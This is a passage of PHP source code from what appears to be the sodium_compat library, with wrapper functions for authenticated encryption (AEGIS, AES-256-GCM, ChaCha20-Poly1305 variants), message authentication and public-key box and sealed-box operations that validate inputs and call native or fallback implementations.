ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS128L_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS128L_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS128L_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long'); } list($ct, $tag) = ParagonIE_Sodium_Core_AEGIS128L::encrypt($plaintext, $assocData, $key, $nonce); return $ct . $tag; } /** * Return a secure random key for use with the AEGIS-128L * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_aegis128l_keygen() { return random_bytes(self::CRYPTO_AEAD_AEGIS128L_KEYBYTES); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * AEGIS-256 * * @param string $ciphertext Encrypted message (with MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 32 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aegis256_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS256_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS256_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS256_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS256_KEYBYTES long'); } $ct_length = ParagonIE_Sodium_Core_Util::strlen($ciphertext); if ($ct_length < self::CRYPTO_AEAD_AEGIS256_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_AEGIS256_ABYTES long'); } $ct = ParagonIE_Sodium_Core_Util::substr( $ciphertext, 0, $ct_length - self::CRYPTO_AEAD_AEGIS256_ABYTES ); $tag = ParagonIE_Sodium_Core_Util::substr( $ciphertext, $ct_length - self::CRYPTO_AEAD_AEGIS256_ABYTES, self::CRYPTO_AEAD_AEGIS256_ABYTES ); return ParagonIE_Sodium_Core_AEGIS256::decrypt($ct, $tag, $assocData, $key, $nonce); } /** * Authenticated Encryption with Associated Data: Encryption * * Algorithm: * AEGIS-256 * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 32 bytes * @param string $key Encryption key * * @return string Ciphertext with 32-byte authentication tag appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_aegis256_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS256_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS256_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS256_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS256_KEYBYTES long'); } list($ct, $tag) = ParagonIE_Sodium_Core_AEGIS256::encrypt($plaintext, $assocData, $key, $nonce); return $ct . $tag; } /** * Return a secure random key for use with the AEGIS-256 * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_aegis256_keygen() { return random_bytes(self::CRYPTO_AEAD_AEGIS256_KEYBYTES); } /** * Is AES-256-GCM even available to use? * * @return bool * @psalm-suppress UndefinedFunction * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aes256gcm_is_available() { if (self::useNewSodiumAPI()) { return sodium_crypto_aead_aes256gcm_is_available(); } if (self::use_fallback('crypto_aead_aes256gcm_is_available')) { return call_user_func('\\Sodium\\crypto_aead_aes256gcm_is_available'); } if (PHP_VERSION_ID < 70100) { // OpenSSL doesn't support AEAD before 7.1.0 return false; } if (!extension_loaded('openssl')) { return false; } if (!is_callable('openssl_encrypt') || !is_callable('openssl_decrypt')) { // OpenSSL isn't installed return false; } return (bool) in_array('aes-256-gcm', openssl_get_cipher_methods()); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * AES-256-GCM * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string|bool The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aes256gcm_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { if (!self::crypto_aead_aes256gcm_is_available()) { throw new SodiumException('AES-256-GCM is not available'); } ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_AES256GCM_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_AES256GCM_ABYTES long'); } if (!extension_loaded('openssl')) { throw new SodiumException('The OpenSSL extension is not installed'); } if (!is_callable('openssl_decrypt')) { throw new SodiumException('The OpenSSL extension is not installed, or openssl_decrypt() is not available'); } /** @var string $ctext */ $ctext = ParagonIE_Sodium_Core_Util::substr($ciphertext, 0, -self::CRYPTO_AEAD_AES256GCM_ABYTES); /** @var string $authTag */ $authTag = ParagonIE_Sodium_Core_Util::substr($ciphertext, -self::CRYPTO_AEAD_AES256GCM_ABYTES, 16); return openssl_decrypt( $ctext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $authTag, $assocData ); } /** * Authenticated Encryption with Associated Data: Encryption * * Algorithm: * AES-256-GCM * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte GCM message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_aes256gcm_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { if (!self::crypto_aead_aes256gcm_is_available()) { throw new SodiumException('AES-256-GCM is not available'); } ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long'); } if (!extension_loaded('openssl')) { throw new SodiumException('The OpenSSL extension is not installed'); } if (!is_callable('openssl_encrypt')) { throw new SodiumException('The OpenSSL extension is not installed, or openssl_encrypt() is not available'); } $authTag = ''; $ciphertext = openssl_encrypt( $plaintext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $authTag, $assocData ); return $ciphertext . $authTag; } /** * Return a secure random key for use with the AES-256-GCM * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_aes256gcm_keygen() { return random_bytes(self::CRYPTO_AEAD_AES256GCM_KEYBYTES); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * ChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_chacha20poly1305_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_decrypt')) { return call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_decrypt', $ciphertext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data * * Algorithm: * ChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_chacha20poly1305_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES long'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_encrypt')) { return (string) call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_encrypt', $plaintext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * ChaCha20-Poly1305 * * IETF mode uses a 96-bit random nonce with a 32-bit counter. * Regular mode uses a 64-bit random nonce with a 64-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 12 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_chacha20poly1305_ietf_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES long'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_decrypt')) { return call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt', $ciphertext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the ChaCha20-Poly1305 * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_chacha20poly1305_keygen() { return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES); } /** * Authenticated Encryption with Associated Data * * Algorithm: * ChaCha20-Poly1305 * * IETF mode uses a 96-bit random nonce with a 32-bit counter. * Regular mode uses a 64-bit random nonce with a 64-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_chacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_encrypt')) { return (string) call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt', $plaintext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the ChaCha20-Poly1305 * symmetric AEAD interface. (IETF version) * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_chacha20poly1305_ietf_keygen() { return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * XChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * @param bool $dontFallback Don't fallback to ext/sodium * * @return string|bool The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '', $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } else { $assocData = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES long'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) { return sodium_crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data * * Algorithm: * XChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * @param bool $dontFallback Don't fallback to ext/sodium * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_xchacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $plaintext = '', $assocData = '', $nonce = '', #[\SensitiveParameter] $key = '', $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } else { $assocData = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) { return sodium_crypto_aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the XChaCha20-Poly1305 * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_xchacha20poly1305_ietf_keygen() { return random_bytes(self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES); } /** * Authenticate a message. Uses symmetric-key cryptography. * * Algorithm: * HMAC-SHA512-256. Which is HMAC-SHA-512 truncated to 256 bits. * Not to be confused with HMAC-SHA-512/256 which would use the * SHA-512/256 hash function (uses different initial parameters * but still truncates to 256 bits to sidestep length-extension * attacks). * * @param string $message Message to be authenticated * @param string $key Symmetric authentication key * @return string Message authentication code * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_auth( $message, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_AUTH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_auth($message, $key); } if (self::use_fallback('crypto_auth')) { return (string) call_user_func('\\Sodium\\crypto_auth', $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::auth($message, $key); } return ParagonIE_Sodium_Crypto::auth($message, $key); } /** * @return string * @throws Exception * @throws Error */ public static function crypto_auth_keygen() { return random_bytes(self::CRYPTO_AUTH_KEYBYTES); } /** * Verify the MAC of a message previously authenticated with crypto_auth. * * @param string $mac Message authentication code * @param string $message Message whose authenticity you are attempting to * verify (with a given MAC and key) * @param string $key Symmetric authentication key * @return bool TRUE if authenticated, FALSE otherwise * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_auth_verify( $mac, $message, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($mac, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($mac) !== self::CRYPTO_AUTH_BYTES) { throw new SodiumException('Argument 1 must be CRYPTO_AUTH_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_AUTH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_auth_verify($mac, $message, $key); } if (self::use_fallback('crypto_auth_verify')) { return (bool) call_user_func('\\Sodium\\crypto_auth_verify', $mac, $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::auth_verify($mac, $message, $key); } return ParagonIE_Sodium_Crypto::auth_verify($mac, $message, $key); } /** * Authenticated asymmetric-key encryption. Both the sender and recipient * may decrypt messages. * * Algorithm: X25519-XSalsa20-Poly1305. * X25519: Elliptic-Curve Diffie Hellman over Curve25519. * XSalsa20: Extended-nonce variant of salsa20. * Poyl1305: Polynomial MAC for one-time message authentication. * * @param string $plaintext The message to be encrypted * @param string $nonce A Number to only be used Once; must be 24 bytes * @param string $keypair Your secret key and your recipient's public key * @return string Ciphertext with 16-byte Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box( $plaintext, $nonce, #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box($plaintext, $nonce, $keypair); } if (self::use_fallback('crypto_box')) { return (string) call_user_func('\\Sodium\\crypto_box', $plaintext, $nonce, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box($plaintext, $nonce, $keypair); } return ParagonIE_Sodium_Crypto::box($plaintext, $nonce, $keypair); } /** * Anonymous public-key encryption. Only the recipient may decrypt messages. * * Algorithm: X25519-XSalsa20-Poly1305, as with crypto_box. * The sender's X25519 keypair is ephemeral. * Nonce is generated from the BLAKE2b hash of both public keys. * * This provides ciphertext integrity. * * @param string $plaintext Message to be sealed * @param string $publicKey Your recipient's public key * @return string Sealed message that only your recipient can * decrypt * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_seal( #[\SensitiveParameter] $plaintext, $publicKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_seal($plaintext, $publicKey); } if (self::use_fallback('crypto_box_seal')) { return (string) call_user_func('\\Sodium\\crypto_box_seal', $plaintext, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seal($plaintext, $publicKey); } return ParagonIE_Sodium_Crypto::box_seal($plaintext, $publicKey); } /** * Opens a message encrypted with crypto_box_seal(). Requires * the recipient's keypair (sk || pk) to decrypt successfully. * * This validates ciphertext integrity. * * @param string $ciphertext Sealed message to be opened * @param string $keypair Your crypto_box keypair * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_box_seal_open( $ciphertext, #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress 